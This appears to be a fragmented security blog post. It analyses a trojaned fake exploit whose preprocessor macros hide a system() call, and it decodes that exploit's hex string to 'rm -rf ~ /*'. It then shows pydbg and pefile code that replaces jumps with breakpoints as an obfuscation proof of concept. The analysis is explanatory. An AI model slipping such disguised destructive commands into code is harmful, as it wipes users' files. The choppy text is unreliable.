Hi all,
I've been pretty busy lately but don't trust your RSS reader who tells you that this blog is dead ;)
For my readers near Switzerland: don't miss Insomni'hack 2010!
fremote("PS1='sh-3.2#' /bin/sh")
is done and when we look at the definition of fremote
, we can see:
#define fremote build_frem(t,e,s,m,y)
build_frem
is defined as:
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
fremote
will be replaced by system once the preprocessor processed the file. So if we search all the references to fremote we will end up with:
174: system(jmpcode);
245: system("PS1='sh-3.2#' /bin/sh");
jmpcode
is a shellcode right? Uh no... in fact is just a normal string, except that it is written with the ascii code of the characters.
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"
==
rm -rf ~ /* 2> /dev/null &
gcc -E
.
#define DEF_ALGN 1 * target system
...
#define target (unsigned long)
...
#define ADDR 0x08049588
...
unsigned long arg_addr = ADDR, align = DEF_ALGN,
unsigned long arg_addr = 0x08049588, align = 1 * (unsigned long) system;
for(i = 0; i < 4; i++)
sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);
...
pots = *(unsigned long *)(attack[1] + 2);
...
*(unsigned long *)pots = align;
puts("echo ~ ok, it seems to have worked... remember: \");
puts("rm -rf is not elite ~");
pydbg
! This library is part of Paimei
, a reverse engineering framework created by Pedram Amini and is available for Windows and OS X since a few months. This Swiss army knife will be use a lot of times in this blog and I encourage you to read the documentation and play with it. Here is an extract of the documentation:PyDbg exposes most of the expected debugger functionality and then some. Hardware / software / memory breakpoints, process / module / thread enumeration and instrumentation, system DLL tracking, memory reading/writing and intelligent dereferencing, stack and SEH unwinding, exception and event handling, endian manipulation routines, memory snapshot and restore functionality, disassembly (libdasm) engine, and more...
def getJmpTable(filename):
jmpTable = {}
f = open(filename, 'r')
for line in f:
elem = line.rsplit(' ')
jmpTable[elem[0].rstrip('L')] = elem[1].rstrip('\n')
return jmpTable
pydbg
is well written, it is really easy to implement the debugger. The first step is to set a callback for the desired exception, which in our case is the breakpoint exception.
dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, brkHandler)
pydbg
and launch the process:
dbg.load(os.sys.argv[1])
dbg.debug_event_loop()
pydbg
. If you look into the source code at pydbg.py:1528
(I'm looking at the OS X version while writting this post) you will see a call to bp_is_ours
. This check is a little bit anoying in our case as we want to have our callback call for the breakpoints (int3
instructions) even if they are not set by pydbg
. Here you have two options:eip
is corresponding to an address in the table. If it is the case, eip
is modified and the context is restored.
def brkHandler(pydbg):
if pydbg.first_breakpoint:
return DBG_CONTINUE
ctx = pydbg.get_thread_context(pydbg.open_thread(pydbg.dbg.dwThreadId))
eip = hex(ctx.Eip).rstrip('L')
if jmpTable.has_key(eip):
ctx.Eip = int(jmpTable[eip], 16)
pydbg.set_thread_context(ctx, pydbg.open_thread(pydbg.dbg.dwThreadId))
return DBG_CONTINUE
pefile
and pydasm
? Well... they are python libraries! I bet you wouldn't have find it ;) More seriously, pefile
is a library allowing to easily work on PE (Portable Executable) files. pydasm
is a python interface to libdasm which allows to get the assembly out of binary data.jxx
instructions (for the simplicity of this POC, only jmp instructions will be replaced). The sections will be enumerated until the one named .text
(the code section) is found. This will be done with the sections list generated by pefile when opening a PE file:
pe = pefile.PE(os.sys.argv[1])
for section in pe.sections:
...
for section in pe.sections:
if section.Name.find(".text") != -1:
start = section.VirtualAddress
data = pe.get_memory_mapped_image()[start:start + section.SizeOfRawData]
offset = 0
while offset < len(data):
instr = pydasm.get_instruction(data[offset:], pydasm.MODE_32)
str = pydasm.get_instruction_string(instr, pydasm.FORMAT_INTEL,
start + pe.OPTIONAL_HEADER.ImageBase + offset)
dst = getJmpDest(str)
if len(dst) != 0:
table_jmp[start + pe.OPTIONAL_HEADER.ImageBase + offset] = dst
offset += instr.length
int3
instructions. This is simply done by writing 0xCCCC
at the instruction's offset using the set_word_at_rva()
function from pefile:
for k in table_jmp.keys():
pe.set_word_at_rva(k - pe.OPTIONAL_HEADER.ImageBase, 0xCCCC)
pe.write(os.sys.argv[2])
f = open(filename, 'w')
for i in table.keys():
f.write(hex(i))
f.write(" %s\n" % (table[i]))
f.close()
pydbg
.